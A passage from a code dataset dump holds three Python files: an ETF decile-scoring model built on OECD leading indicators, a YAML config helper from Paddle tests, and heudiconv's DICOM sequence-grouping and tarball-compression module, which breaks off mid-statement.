ibp","repo_name":"ReliableDragon/random_generator_v3","sub_path":"random_parser/choice_blocks/choice_block.py","file_name":"choice_block.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"7485552405","text":"import pandas as pd\nimport numpy as np\nimport fix_yahoo_finance as yf\nfrom pandas_datareader import data as pdr\nyf.pdr_override() # <== that's all it takes :-)\nfrom scipy import stats\nimport matplotlib.pyplot as plt\npd.set_option('precision',4)\npd.options.display.float_format = '{:.3f}'.format\n\n\ndef pull_data(s):\n data_df = pdr.get_data_yahoo(s, start=\"2000-11-30\", end=\"2018-05-31\")\n return data_df['Open'],data_df['High'], data_df['Low'], data_df['Close'], data_df['Adj Close'], data_df['Volume']\n\ndef read_price_file(frq = 'BM', cols=[]):\n df_price = pd.read_csv(\"C:/Python27/Git/All_Country_ETF/aclose.csv\", index_col='Date', parse_dates=True)\n df_price = df_price.resample(frq, closed='right').last()\n df_price = df_price[cols]\n return df_price\n\ndef stock_data_csv(universeList):\n open_data = []\n high_data = []\n low_data = []\n close_data = []\n aclose_data = []\n volume_data = []\n\n for s in universeList:\n #request OHLC data from yahoo for the universe\n print(\"****************************** \" + s + \" ************************\")\n dfo, dfh, dfl, dfc, df_ac, dfv = pull_data(s)\n open_data.append(dfo)\n high_data.append(dfh)\n low_data.append(dfl)\n close_data.append(dfc)\n aclose_data.append(df_ac)\n volume_data.append(dfv)\n\n #concat data for the universe\n open_data = pd.concat(open_data, axis = 1)\n high_data = pd.concat(high_data, axis = 1)\n low_data = pd.concat(low_data, axis = 1)\n close_data = pd.concat(close_data, axis = 1)\n aclose_data = pd.concat(aclose_data, axis = 1)\n volume_data = pd.concat(volume_data, axis = 1)\n\n # rename columns\n open_data.columns = universe_list\n high_data.columns = universe_list\n low_data.columns = universe_list\n close_data.columns = universe_list\n aclose_data.columns = universe_list\n volume_data.columns = universe_list\n\n #save the dataframes as csv\n open_data.to_csv(\"C:/Python27/Git/All_Country_ETF/open.csv\")\n high_data.to_csv(\"C:/Python27/Git/All_Country_ETF/high.csv\")\n low_data.to_csv(\"C:/Python27/Git/All_Country_ETF/low.csv\")\n close_data.to_csv(\"C:/Python27/Git/All_Country_ETF/close.csv\")\n aclose_data.to_csv(\"C:/Python27/Git/All_Country_ETF/aclose.csv\")\n volume_data.to_csv(\"C:/Python27/Git/All_Country_ETF/volume.csv\")\n\ndef format_oecd_data():\n #Reading the LEI csv file\n read_oecd = pd.read_csv(\"C:/Python27/Git/All_Country_ETF/LEI_Data.csv\", index_col= ['TIME'])\n read_oecd = read_oecd[['LOCATION','Value']]\n grouped_oecd = read_oecd.pivot(columns='LOCATION', values='Value')\n\n #The LEI indicator is lagged by 2 months. Adding 2 months on the index and shiifting the data forward\n grouped_oecd.loc['2018-04'] = 0.0\n grouped_oecd.loc['2018-05'] = 0.0\n grouped_oecd = grouped_oecd.shift(2)\n\n #reading the OECD Description file for mapping symbols and OECD codes\n read_oecd_info = pd.read_csv(\"C:/Python27/Git/All_Country_ETF/Universe_Description.csv\")\n #list of OECD_Codes\n oecd_info_ls = read_oecd_info.OECD_Codes.tolist()\n #List of pivoted OCED_Columns (tickers)\n oecd_data_ls = grouped_oecd.columns.tolist()\n clean_list = []\n #Matching the OECD Codes with the Symbol\n for x in oecd_data_ls:\n if x in oecd_info_ls:\n clean_list.append(x)\n oecd_info_sym = read_oecd_info.Symbol.tolist()\n #truncating the data from 2000\n grouped_oecd = grouped_oecd[clean_list]['2000-12':]\n #mapping the OECD codes to Symbol for the final dataframe\n list_to_dict = dict(zip(oecd_info_sym, oecd_info_ls))\n #Creating the dataframe with the mapped OECD_Codes\n for k, v in list_to_dict.items():\n if v in grouped_oecd.columns:\n grouped_oecd.rename(columns={v: k}, inplace=True)\n\n #calculating 12 month OECD LEI level change\n level_change = grouped_oecd.pct_change(periods = 12)\n # calculating monthly change of levels\n monthly_change = level_change.pct_change(periods = 3)\n return level_change, monthly_change\n\n\ndef zscore_data(data, window = 12, axis = 0):\n\n # time series scores for the rolling period\n ts_score = (data - data.rolling(window).mean())/data.rolling(window).std()\n #cliping scores for lower and upper boundary of -3.5 to 3.5\n tsScore = ts_score.clip(-3.5, 3.5)\n # crossectional zscore\n csScore = pd.DataFrame(stats.zscore(tsScore, axis = 1), index = data.index, columns=data.columns)\n # cliping scores for lower and upper boundary of -3.5 to 3.5\n csScore = csScore.clip(-3.5, 3.5)\n return csScore\n\ndef fractile_filter(data):\n q_list = []\n for row in data.iterrows():\n low_cond = row[1]>=row[1]['low_filter']\n up_cond = row[1]< row[1]['up_filter']\n cond = (low_cond & up_cond)\n q_list.append(cond)\n # q_list.append(row[1]>row[1]['filter'])\n return q_list\n\ndef fractile_analysis(data, px_data, q1, q2):\n #filter data based on the lower and upper bound\n data['low_filter'] = data.quantile(q=q1, numeric_only=True, axis=1)\n data['up_filter'] = data.quantile(q=q2, numeric_only=True, axis=1)\n #dataframe with the filtered data\n data = data[pd.DataFrame(fractile_filter(data))]\n #remove the filter column\n data = data.drop('low_filter', axis = 1)\n data = data.drop('up_filter', axis=1)\n #Calcaulte the monthly price returns and lag it by month\n returns_df = px_data.pct_change().shift(-1)\n #calculate the returns of the holding for the fractiles\n fractile_return = returns_df[data.notnull()]\n ic_sig = data.corrwith(fractile_return, axis = 1, drop=True)\n fractile_return= fractile_return.shift(1)\n #prints the trade recommendations\n print(\"Trades for %s decile is\" %(str(q1)))\n print(fractile_return[-1:].dropna(axis= 1))\n return fractile_return, ic_sig\n\ndef signal_test(scores, prices, q):\n sc_filter= scores>=scores.quantile(q, axis=1)\n filtered_scores = scores[sc_filter]\n returns_df = prices.pct_change().shift(-1)\n returns_df = returns_df[sc_filter]\n ts_corr = filtered_scores.corrwith(returns_df,axis = 1,drop=True).dropna()\n return ts_corr\n\nif __name__ == \"__main__\":\n\n universe_list = ['NGE', 'EGPT', 'GXC', 'NORW', 'EPU', 'VNM', 'THD', 'ECH', 'PGAL', 'KSA', 'EWO', 'EWS', 'EWH',\n 'EWJ', 'ENZL', 'EUSA', 'EWI', 'EWQ', 'EWC', 'EWM', 'EIRL', 'EWY', 'EWN', 'EWZ', 'EWA', 'EWT',\n 'EWG', 'EWU', 'EZA', 'EWD', 'EWK', 'PIN', 'GXG', 'PLND', 'EWL', 'EIS', 'EWP', 'GREK', 'UAE', 'QAT',\n 'EPHE', 'EWW', 'IDX', 'TUR']\n\n #pull historical data\n # stock_data_csv(universe_list)\n levelChange, monthlyChange = format_oecd_data()\n price_df = read_price_file(frq='BM', cols = levelChange.columns)\n #crossectional scores for 12 months of level change\n cs_Score_level = zscore_data(levelChange, window = 3, axis = 1)\n #cross-sectional scores for i month of level change\n cs_Score_monthly = pd.DataFrame(stats.zscore(monthlyChange, axis = 1), index = monthlyChange.index, columns=monthlyChange.columns)\n # cliping scores for lower and upper boundary of -3.5 to 3.5\n cs_Score_monthly = cs_Score_monthly.clip(-3.5, 3.5)\n #composite the level change factor scores\n composite_oecd_score = (1.0*cs_Score_level) + (0.0*cs_Score_monthly)\n #adjusting the date index to year and month format to match the price data\n price_df.index = price_df.index.strftime(\"%Y-%m\")\n #list for fractile analysis\n fractile_list = np.arange(0.0, 1.0, 0.1)\n #looping ove to get the fractile return dataframe\n returns_list = []\n ic_list = []\n for i in fractile_list:\n\n frac_portfolio,ic_portfolio = fractile_analysis(composite_oecd_score, price_df, q1 =i, q2 = i+0.1)\n temp = frac_portfolio.mean(axis=1).values.tolist()\n returns_list.append(temp)\n ic_list.append(ic_portfolio)\n\n fractile_df = pd.DataFrame({i :returns_list[i] for i in range(len(returns_list))}, index=price_df.index)\n fractile_df = fractile_df.rename(columns=({0:'Q1', 1:'Q2',2:'Q3', 3:'Q4', 4:'Q5',5:'Q6', 6:'Q7',7:'Q8', 8:'Q9',9:'Q10'}))\n fractile_df.dropna(inplace=True)\n fractile_spread = fractile_df['Q10'].mean() - fractile_df.mean()\n fractile_df.loc['2005-07'] = 0.0\n #calculate the decile\n ic_df = pd.DataFrame(ic_list)\n ic_df = ic_df.T\n ic_df = ic_df.rename(columns=({0: 'Q1', 1: 'Q2', 2: 'Q3', 3: 'Q4', 4: 'Q5', 5: 'Q6', 6: 'Q7', 7: 'Q8', 8: 'Q9', 9: 'Q10'}))\n ic_df['Q10'].rolling(6).mean().plot(kind = 'bar')\n plt.grid()\n plt.show()\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"newbiecoder2017/All_Country_ETF","sub_path":"country_etf_model.py","file_name":"country_etf_model.py","file_ext":"py","file_size_in_byte":8543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36025492071","text":"import logging\n\nlogger = logging.getLogger(__name__)\n\nCONFIG_SECS = [\n 'train',\n 'valid',\n 'test',\n 'infer',\n]\n\n\nclass AttrDict(dict):\n def __getattr__(self, key):\n return self[key]\n\n def __setattr__(self, key, value):\n if key in self.__dict__:\n self.__dict__[key] = value\n else:\n self[key] = value\n\n\ndef parse_config(cfg_file):\n \"\"\"Load a config file into AttrDict\"\"\"\n import yaml\n\n with open(cfg_file, 'r') as fopen:\n yaml_config = AttrDict(yaml.load(fopen, Loader=yaml.Loader))\n create_attr_dict(yaml_config)\n return yaml_config\n\n\ndef create_attr_dict(yaml_config):\n from ast import literal_eval\n\n for key, value in yaml_config.items():\n if type(value) is dict:\n yaml_config[key] = value = AttrDict(value)\n if isinstance(value, str):\n try:\n value = literal_eval(value)\n except BaseException:\n pass\n if isinstance(value, AttrDict):\n create_attr_dict(yaml_config[key])\n else:\n yaml_config[key] = value\n\n\ndef merge_configs(cfg, sec, args_dict):\n assert sec in CONFIG_SECS, f\"invalid config section {sec}\"\n sec_dict = getattr(cfg, sec.upper())\n for k, v in args_dict.items():\n if v is None:\n continue\n try:\n if hasattr(sec_dict, k):\n setattr(sec_dict, k, v)\n except:\n pass\n return cfg\n\n\ndef print_configs(cfg, mode):\n logger.info(f\"---------------- {mode:>5} Arguments ----------------\")\n for sec, sec_items in cfg.items():\n logger.info(f\"{sec}:\")\n for k, v in sec_items.items():\n logger.info(f\" {k}:{v}\")\n logger.info(\"-------------------------------------------------\")\n","repo_name":"PaddlePaddle/Paddle","sub_path":"test/dygraph_to_static/tsm_config_utils.py","file_name":"tsm_config_utils.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":21032,"dataset":"github-code","pt":"29"} +{"seq_id":"73781550159","text":"# dicom operations\nfrom __future__ import annotations\n\nfrom collections.abc import Callable\nimport datetime\nimport logging\nimport os\nimport os.path as op\nfrom pathlib import Path\nimport sys\nimport tarfile\nfrom typing import TYPE_CHECKING, Any, Dict, List, NamedTuple, Optional, Union, overload\nfrom unittest.mock import patch\nimport warnings\n\nimport pydicom as dcm\n\nfrom .utils import (\n SeqInfo,\n TempDirs,\n get_typed_attr,\n load_json,\n set_readonly,\n strptime_micr,\n)\n\nif TYPE_CHECKING:\n if sys.version_info >= (3, 8):\n from typing import Literal\n else:\n from typing_extensions import Literal\n\nwith warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n # suppress warning\n import nibabel.nicom.dicomwrappers as dw\n\nlgr = logging.getLogger(__name__)\ntotal_files = 0\n# Might be monkey patched by user heuristic to tune desired compression level.\n# Preferably do not move/rename.\ncompresslevel = 9\n\n\ndef create_seqinfo(mw: dw.Wrapper, series_files: list[str], series_id: str) -> SeqInfo:\n \"\"\"Generate sequence info\n\n Parameters\n ----------\n mw: Wrapper\n series_files: list\n series_id: str\n \"\"\"\n dcminfo = mw.dcm_data\n accession_number = dcminfo.get(\"AccessionNumber\")\n\n # TODO: do not group echoes by default\n size: list[int] = list(mw.image_shape) + [len(series_files)]\n if len(size) < 4:\n size.append(1)\n\n # parse DICOM for seqinfo fields\n TR = get_typed_attr(dcminfo, \"RepetitionTime\", float, -1000) / 1000\n TE = get_typed_attr(dcminfo, \"EchoTime\", float, -1)\n refphys = get_typed_attr(dcminfo, \"ReferringPhysicianName\", str, \"\")\n image_type = get_typed_attr(dcminfo, \"ImageType\", tuple, ())\n is_moco = \"MOCO\" in image_type\n series_desc = get_typed_attr(dcminfo, \"SeriesDescription\", str, \"\")\n\n if dcminfo.get([0x18, 0x24]):\n # GE and Philips\n sequence_name = dcminfo[0x18, 0x24].value\n elif dcminfo.get([0x19, 0x109C]):\n # Siemens\n sequence_name = dcminfo[0x19, 0x109C].value\n else:\n sequence_name = \"\"\n\n # initialized in `group_dicoms_to_seqinfos`\n global total_files\n total_files += len(series_files)\n\n return SeqInfo(\n total_files_till_now=total_files,\n example_dcm_file=op.basename(series_files[0]),\n series_id=series_id,\n dcm_dir_name=op.basename(op.dirname(series_files[0])),\n series_files=len(series_files),\n unspecified=\"\",\n dim1=size[0],\n dim2=size[1],\n dim3=size[2],\n dim4=size[3],\n TR=TR,\n TE=TE,\n protocol_name=dcminfo.ProtocolName,\n is_motion_corrected=is_moco,\n is_derived=\"derived\" in [x.lower() for x in image_type],\n patient_id=dcminfo.get(\"PatientID\"),\n study_description=dcminfo.get(\"StudyDescription\"),\n referring_physician_name=refphys,\n series_description=series_desc,\n sequence_name=sequence_name,\n image_type=image_type,\n accession_number=accession_number,\n # For demographics to populate BIDS participants.tsv\n patient_age=dcminfo.get(\"PatientAge\"),\n patient_sex=dcminfo.get(\"PatientSex\"),\n date=dcminfo.get(\"AcquisitionDate\"),\n series_uid=dcminfo.get(\"SeriesInstanceUID\"),\n time=dcminfo.get(\"AcquisitionTime\"),\n )\n\n\ndef validate_dicom(\n fl: str, dcmfilter: Optional[Callable[[dcm.dataset.Dataset], Any]]\n) -> Optional[tuple[dw.Wrapper, tuple[int, str], Optional[str]]]:\n \"\"\"\n Parse DICOM attributes. Returns None if not valid.\n \"\"\"\n mw = dw.wrapper_from_file(fl, force=True, stop_before_pixels=True)\n # clean series signature\n for sig in (\"iop\", \"ICE_Dims\", \"SequenceName\"):\n try:\n del mw.series_signature[sig]\n except KeyError:\n pass\n # Workaround for protocol name in private siemens csa header\n if not getattr(mw.dcm_data, \"ProtocolName\", \"\").strip():\n mw.dcm_data.ProtocolName = (\n parse_private_csa_header(mw.dcm_data, \"ProtocolName\", \"tProtocolName\")\n if mw.is_csa\n else \"\"\n )\n try:\n protocol_name = mw.dcm_data.ProtocolName\n assert isinstance(protocol_name, str)\n series_id = (int(mw.dcm_data.SeriesNumber), protocol_name)\n except AttributeError as e:\n lgr.warning('Ignoring %s since not quite a \"normal\" DICOM: %s', fl, e)\n return None\n if dcmfilter is not None and dcmfilter(mw.dcm_data):\n lgr.warning(\"Ignoring %s because of DICOM filter\", fl)\n return None\n if mw.dcm_data[0x0008, 0x0016].repval in (\n \"Raw Data Storage\",\n \"GrayscaleSoftcopyPresentationStateStorage\",\n ):\n return None\n try:\n file_studyUID = mw.dcm_data.StudyInstanceUID\n assert isinstance(file_studyUID, str)\n except AttributeError:\n lgr.info(\"File {} is missing any StudyInstanceUID\".format(fl))\n file_studyUID = None\n return mw, series_id, file_studyUID\n\n\nclass SeriesID(NamedTuple):\n series_number: int\n protocol_name: str\n file_studyUID: Optional[str] = None\n\n def __str__(self) -> str:\n s = f\"{self.series_number}-{self.protocol_name}\"\n if self.file_studyUID is not None:\n s += f\"-{self.file_studyUID}\"\n return s\n\n\n@overload\ndef group_dicoms_into_seqinfos(\n files: list[str],\n grouping: str,\n file_filter: Optional[Callable[[str], Any]] = None,\n dcmfilter: Optional[Callable[[dcm.dataset.Dataset], Any]] = None,\n flatten: Literal[False] = False,\n custom_grouping: str\n | Callable[\n [list[str], Optional[Callable[[dcm.dataset.Dataset], Any]], type[SeqInfo]],\n dict[SeqInfo, list[str]],\n ]\n | None = None,\n) -> dict[Optional[str], dict[SeqInfo, list[str]]]:\n ...\n\n\n@overload\ndef group_dicoms_into_seqinfos(\n files: list[str],\n grouping: str,\n file_filter: Optional[Callable[[str], Any]] = None,\n dcmfilter: Optional[Callable[[dcm.dataset.Dataset], Any]] = None,\n *,\n flatten: Literal[True],\n custom_grouping: str\n | Callable[\n [list[str], Optional[Callable[[dcm.dataset.Dataset], Any]], type[SeqInfo]],\n dict[SeqInfo, list[str]],\n ]\n | None = None,\n) -> dict[SeqInfo, list[str]]:\n ...\n\n\ndef group_dicoms_into_seqinfos(\n files: list[str],\n grouping: str,\n file_filter: Optional[Callable[[str], Any]] = None,\n dcmfilter: Optional[Callable[[dcm.dataset.Dataset], Any]] = None,\n flatten: Literal[False, True] = False,\n custom_grouping: str\n | Callable[\n [list[str], Optional[Callable[[dcm.dataset.Dataset], Any]], type[SeqInfo]],\n dict[SeqInfo, list[str]],\n ]\n | None = None,\n) -> dict[Optional[str], dict[SeqInfo, list[str]]] | dict[SeqInfo, list[str]]:\n \"\"\"Process list of dicoms and return seqinfo and file group\n `seqinfo` contains per-sequence extract of fields from DICOMs which\n will be later provided into heuristics to decide on filenames\n\n Parameters\n ----------\n files : list of str\n List of files to consider\n grouping : {'studyUID', 'accession_number', 'all', 'custom'}\n How to group DICOMs for conversion. If 'custom', see `custom_grouping`\n parameter.\n file_filter : callable, optional\n Applied to each item of filenames. Should return True if file needs to be\n kept, False otherwise.\n dcmfilter : callable, optional\n If called on dcm_data and returns True, it is used to set series_id\n flatten : bool, optional\n Creates a flattened `seqinfo` with corresponding DICOM files. True when\n invoked with `dicom_dir_template`.\n custom_grouping: str or callable, optional\n grouping key defined within heuristic. Can be a string of a\n DICOM attribute, or a method that handles more complex groupings.\n\n\n Returns\n -------\n seqinfo : list of list\n `seqinfo` is a list of info entries per each sequence (some entry\n there defines a key for `filegrp`)\n filegrp : dict\n `filegrp` is a dictionary with files grouped per each sequence\n \"\"\"\n allowed_groupings = [\"studyUID\", \"accession_number\", \"all\", \"custom\"]\n if grouping not in allowed_groupings:\n raise ValueError(\"I do not know how to group by {0}\".format(grouping))\n per_studyUID = grouping == \"studyUID\"\n # per_accession_number = grouping == 'accession_number'\n lgr.info(\"Analyzing %d dicoms\", len(files))\n\n group_keys: list[SeriesID] = []\n group_values: list[int] = []\n mwgroup: list[dw.Wrapper] = []\n studyUID: Optional[str] = None\n\n if file_filter:\n nfl_before = len(files)\n files = list(filter(file_filter, files))\n nfl_after = len(files)\n lgr.info(\n \"Filtering out {0} dicoms based on their filename\".format(\n nfl_before - nfl_after\n )\n )\n\n if grouping == \"custom\":\n if custom_grouping is None:\n raise RuntimeError(\"Custom grouping is not defined in heuristic\")\n if callable(custom_grouping):\n return custom_grouping(files, dcmfilter, SeqInfo)\n grouping = custom_grouping\n study_customgroup = None\n\n removeidx = []\n for idx, filename in enumerate(files):\n mwinfo = validate_dicom(filename, dcmfilter)\n if mwinfo is None:\n removeidx.append(idx)\n continue\n mw, series_id_, file_studyUID = mwinfo\n series_id = SeriesID(series_id_[0], series_id_[1])\n if per_studyUID:\n series_id = series_id._replace(file_studyUID=file_studyUID)\n\n if flatten:\n if per_studyUID:\n if studyUID is None:\n studyUID = file_studyUID\n assert (\n studyUID == file_studyUID\n ), \"Conflicting study identifiers found [{}, {}].\".format(\n studyUID, file_studyUID\n )\n elif custom_grouping:\n file_customgroup = mw.dcm_data.get(grouping)\n if study_customgroup is None:\n study_customgroup = file_customgroup\n assert (\n study_customgroup == file_customgroup\n ), \"Conflicting {0} found: [{1}, {2}]\".format(\n grouping, study_customgroup, file_customgroup\n )\n\n ingrp = False\n # check if same series was already converted\n for idx in range(len(mwgroup)):\n if mw.is_same_series(mwgroup[idx]):\n if grouping != \"all\":\n assert (\n mwgroup[idx].dcm_data.get(\"StudyInstanceUID\") == file_studyUID\n ), \"Same series found for multiple different studies\"\n ingrp = True\n series_id = SeriesID(\n mwgroup[idx].dcm_data.SeriesNumber,\n mwgroup[idx].dcm_data.ProtocolName,\n )\n if per_studyUID:\n series_id = series_id._replace(file_studyUID=file_studyUID)\n group_keys.append(series_id)\n group_values.append(idx)\n\n if not ingrp:\n mwgroup.append(mw)\n group_keys.append(series_id)\n group_values.append(len(mwgroup) - 1)\n\n group_map = dict(zip(group_keys, group_values))\n\n if removeidx:\n # remove non DICOMS from files\n for idx in sorted(removeidx, reverse=True):\n del files[idx]\n\n seqinfos: dict[Optional[str], dict[SeqInfo, list[str]]] = {}\n flat_seqinfos: dict[SeqInfo, list[str]] = {}\n # for the next line to make any sense the series_id needs to\n # be sortable in a way that preserves the series order\n for series_id, mwidx in sorted(group_map.items()):\n mw = mwgroup[mwidx]\n series_files = [files[i] for i, s in enumerate(group_keys) if s == series_id]\n if per_studyUID:\n studyUID = series_id.file_studyUID\n series_id = series_id._replace(file_studyUID=None)\n series_id_str = str(series_id)\n if mw.image_shape is None:\n # this whole thing has no image data (maybe just PSg DICOMs)\n # If this is a Siemens PhoenixZipReport or PhysioLog, keep it:\n if mw.dcm_data.get(\"SeriesDescription\") == \"PhoenixZIPReport\":\n # give it a dummy shape, so that we can continue:\n mw.image_shape = (0, 0, 0)\n else:\n # nothing to see here, just move on\n continue\n seqinfo = create_seqinfo(mw, series_files, series_id_str)\n\n key: Optional[str]\n if per_studyUID:\n key = studyUID\n elif grouping == \"accession_number\":\n key = mw.dcm_data.get(\"AccessionNumber\")\n elif grouping == \"all\":\n key = \"all\"\n elif custom_grouping:\n key = mw.dcm_data.get(custom_grouping)\n else:\n key = \"\"\n lgr.debug(\n \"%30s %30s %27s %27s %5s nref=%-2d nsrc=%-2d %s\"\n % (\n key,\n seqinfo.series_id,\n seqinfo.series_description,\n mw.dcm_data.ProtocolName,\n seqinfo.is_derived,\n len(mw.dcm_data.get(\"ReferencedImageSequence\", \"\")),\n len(mw.dcm_data.get(\"SourceImageSequence\", \"\")),\n seqinfo.image_type,\n )\n )\n\n if not flatten:\n seqinfos.setdefault(key, {})[seqinfo] = series_files\n else:\n flat_seqinfos[seqinfo] = series_files\n\n if not flatten:\n entries = len(seqinfos)\n subentries = sum(map(len, seqinfos.values()))\n else:\n entries = len(flat_seqinfos)\n subentries = sum(map(len, flat_seqinfos.values()))\n\n if per_studyUID:\n lgr.info(\n \"Generated sequence info for %d studies with %d entries total\",\n entries,\n subentries,\n )\n elif grouping == \"accession_number\":\n lgr.info(\n \"Generated sequence info for %d accession numbers with %d entries total\",\n entries,\n subentries,\n )\n else:\n lgr.info(\"Generated sequence info with %d entries\", entries)\n if not flatten:\n return seqinfos\n else:\n return flat_seqinfos\n\n\ndef get_reproducible_int(dicom_list: list[str]) -> int:\n \"\"\"Get integer that can be used to reproducibly sort input DICOMs, which is based on when they were acquired.\n\n Parameters\n ----------\n dicom_list : list[str]\n Paths to existing DICOM files\n\n Returns\n -------\n int\n An integer relating to when the DICOM was acquired\n\n Raises\n ------\n AssertionError\n\n Notes\n -----\n\n 1. When date and time for can be read (see :func:`get_datetime_from_dcm`), return\n that value as time in seconds since epoch (i.e., Jan 1 1970).\n 2. In cases where a date/time/datetime is not available (e.g., anonymization stripped this info), return\n epoch + AcquisitionNumber (in seconds), which is AcquisitionNumber as an integer\n 3. If 1 and 2 are not possible, then raise AssertionError and provide message about missing information\n\n Cases are based on only the first element of the dicom_list.\n\n \"\"\"\n import calendar\n\n dicom = dcm.dcmread(dicom_list[0], stop_before_pixels=True, force=True)\n dicom_datetime = get_datetime_from_dcm(dicom)\n if dicom_datetime:\n return calendar.timegm(dicom_datetime.timetuple())\n\n acquisition_number = dicom.get(\"AcquisitionNumber\")\n if acquisition_number:\n return int(acquisition_number)\n\n raise AssertionError(\n \"No metadata found that can be used to sort DICOMs reproducibly. Was header information erased?\"\n )\n\n\ndef get_datetime_from_dcm(dcm_data: dcm.FileDataset) -> Optional[datetime.datetime]:\n \"\"\"Extract datetime from filedataset, or return None is no datetime information found.\n\n Parameters\n ----------\n dcm_data : dcm.FileDataset\n DICOM with header, e.g., as ready by pydicom.dcmread.\n Objects with __getitem__ and have those keys with values properly formatted may also work\n\n Returns\n -------\n Optional[datetime.datetime]\n One of several datetimes that are related to when the scan occurred, or None if no datetime can be found\n\n Notes\n ------\n The following fields are checked in order\n\n 1. AcquisitionDate & AcquisitionTime (0008,0022); (0008,0032)\n 2. AcquisitionDateTime (0008,002A);\n 3. SeriesDate & SeriesTime (0008,0021); (0008,0031)\n\n \"\"\"\n acq_date = dcm_data.get(\"AcquisitionDate\")\n acq_time = dcm_data.get(\"AcquisitionTime\")\n if not (acq_date is None or acq_time is None):\n return strptime_micr(acq_date + acq_time, \"%Y%m%d%H%M%S[.%f]\")\n\n acq_dt = dcm_data.get(\"AcquisitionDateTime\")\n if acq_dt is not None:\n return strptime_micr(acq_dt, \"%Y%m%d%H%M%S[.%f]\")\n\n series_date = dcm_data.get(\"SeriesDate\")\n series_time = dcm_data.get(\"SeriesTime\")\n if not (series_date is None or series_time is None):\n return strptime_micr(series_date + series_time, \"%Y%m%d%H%M%S[.%f]\")\n return None\n\n\ndef compress_dicoms(\n dicom_list: list[str], out_prefix: str, tempdirs: TempDirs, overwrite: bool\n) -> Optional[str]:\n \"\"\"Archives DICOMs into a tarball\n\n Also tries to do it reproducibly, so takes the date for files\n and target tarball based on the series time (within the first file)\n\n Parameters\n ----------\n dicom_list : list of str\n list of dicom files\n out_prefix : str\n output path prefix, including the portion of the output file name\n before .dicom.tgz suffix\n tempdirs : TempDirs\n TempDirs object to handle multiple tmpdirs\n overwrite : bool\n Overwrite existing tarfiles\n\n Returns\n -------\n filename : str\n Result tarball\n \"\"\"\n\n tmpdir = tempdirs(prefix=\"dicomtar\")\n outtar = out_prefix + \".dicom.tgz\"\n\n if op.exists(outtar) and not overwrite:\n lgr.info(\"File {} already exists, will not overwrite\".format(outtar))\n return None\n # tarfile encodes current time.time inside making those non-reproducible\n # so we should choose which date to use.\n # Solution from DataLad although ugly enough:\n\n dicom_list = sorted(dicom_list)\n dcm_time = get_reproducible_int(dicom_list)\n\n def _assign_dicom_time(ti: tarfile.TarInfo) -> tarfile.TarInfo:\n # Reset the date to match the one from the dicom, not from the\n # filesystem so we could sort reproducibly\n ti.mtime = dcm_time\n return ti\n\n with patch(\"time.time\", lambda: dcm_time):\n try:\n if op.lexists(outtar):\n os.unlink(outtar)\n with tarfile.open(\n outtar, \"w:gz\", compresslevel=compresslevel, dereference=True\n ) as tar:\n for filename in dicom_list:\n outfile = op.join(tmpdir, op.basename(filename))\n if not op.islink(outfile):\n os.symlink(op.realpath(filename), outfile)\n # place into archive stripping any lead directories and\n # adding the one corresponding to prefix\n tar.add(\n outfile,\n arcname=op.join(op.basename(out_prefix), op.basename(outfile)),\n recursive=False,\n filter=_assign_dicom_time,\n )\n finally:\n tempdirs.rmtree(tmpdir)\n\n return outtar\n\n\n# Note: This function is passed to nipype by `embed_metadata_from_dicoms()`,\n# and nipype reparses the function source in a clean namespace that does not\n# have `from __future__ import annotations` enabled. Thus, we need to use\n# Python 3.7-compatible annotations on this function, and any non-builtin types\n# used in the annotations need to be included by import statements passed to\n# the `nipype.Function` constructor.\ndef embed_dicom_and_nifti_metadata(\n dcmfiles: List[str],\n niftifile: str,\n infofile: Union[str, Path],\n bids_info: Optional[Dict[str, Any]],\n) -> None:\n \"\"\"Embed metadata from nifti (affine etc) and dicoms into infofile (json)\n\n `niftifile` should exist. Its affine's orientation information is used while\n establishing new `NiftiImage` out of dicom stack and together with `bids_info`\n (if provided) is dumped into json `infofile`\n\n Parameters\n ----------\n dcmfiles\n niftifile\n infofile\n bids_info: dict\n Additional metadata to be embedded. `infofile` is overwritten if exists,\n so here you could pass some metadata which would overload (at the first\n level of the dict structure, no recursive fancy updates) what is obtained\n from nifti and dicoms\n\n \"\"\"\n # These imports need to be within the body of the function so that they\n # will be available when executed by nipype:\n import json\n import os.path\n\n import dcmstack as ds\n import nibabel as nb\n\n from heudiconv.utils import save_json\n\n stack = ds.parse_and_stack(dcmfiles, force=True).values()\n if len(stack) > 1:\n raise ValueError(\"Found multiple series\")\n # may be odict now - iter to be safe\n stack = next(iter(stack))\n\n if not os.path.exists(niftifile):\n raise NotImplementedError(\n \"%s does not exist. \"\n \"We are not producing new nifti files here any longer. \"\n \"Use dcm2niix directly or .convert.nipype_convert helper .\" % niftifile\n )\n\n orig_nii = nb.load(niftifile)\n aff = orig_nii.affine # type: ignore[attr-defined]\n ornt = nb.orientations.io_orientation(aff)\n axcodes = nb.orientations.ornt2axcodes(ornt)\n new_nii = stack.to_nifti(voxel_order=\"\".join(axcodes), embed_meta=True)\n meta_info_str = ds.NiftiWrapper(new_nii).meta_ext.to_json()\n meta_info = json.loads(meta_info_str)\n assert isinstance(meta_info, dict)\n\n if bids_info:\n meta_info.update(bids_info)\n\n # write to outfile\n save_json(infofile, meta_info)\n\n\ndef embed_metadata_from_dicoms(\n bids_options: Optional[str],\n item_dicoms: list[str],\n outname: str,\n outname_bids: str,\n prov_file: Optional[str],\n scaninfo: str,\n tempdirs: TempDirs,\n with_prov: bool,\n) -> None:\n \"\"\"\n Enhance sidecar information file with more information from DICOMs\n\n Parameters\n ----------\n bids_options\n item_dicoms\n outname\n outname_bids\n prov_file\n scaninfo\n tempdirs\n with_prov\n\n Returns\n -------\n\n \"\"\"\n from nipype import Function, Node\n\n tmpdir = tempdirs(prefix=\"embedmeta\")\n\n # We need to assure that paths are absolute if they are relative\n # \n item_dicoms = list(map(op.abspath, item_dicoms)) # type: ignore[arg-type]\n\n embedfunc = Node(\n Function(\n input_names=[\n \"dcmfiles\",\n \"niftifile\",\n \"infofile\",\n \"bids_info\",\n ],\n function=embed_dicom_and_nifti_metadata,\n imports=[\n \"from pathlib import Path\",\n \"from typing import Any, Dict, List, Optional, Union\",\n ],\n ),\n name=\"embedder\",\n )\n embedfunc.inputs.dcmfiles = item_dicoms\n embedfunc.inputs.niftifile = 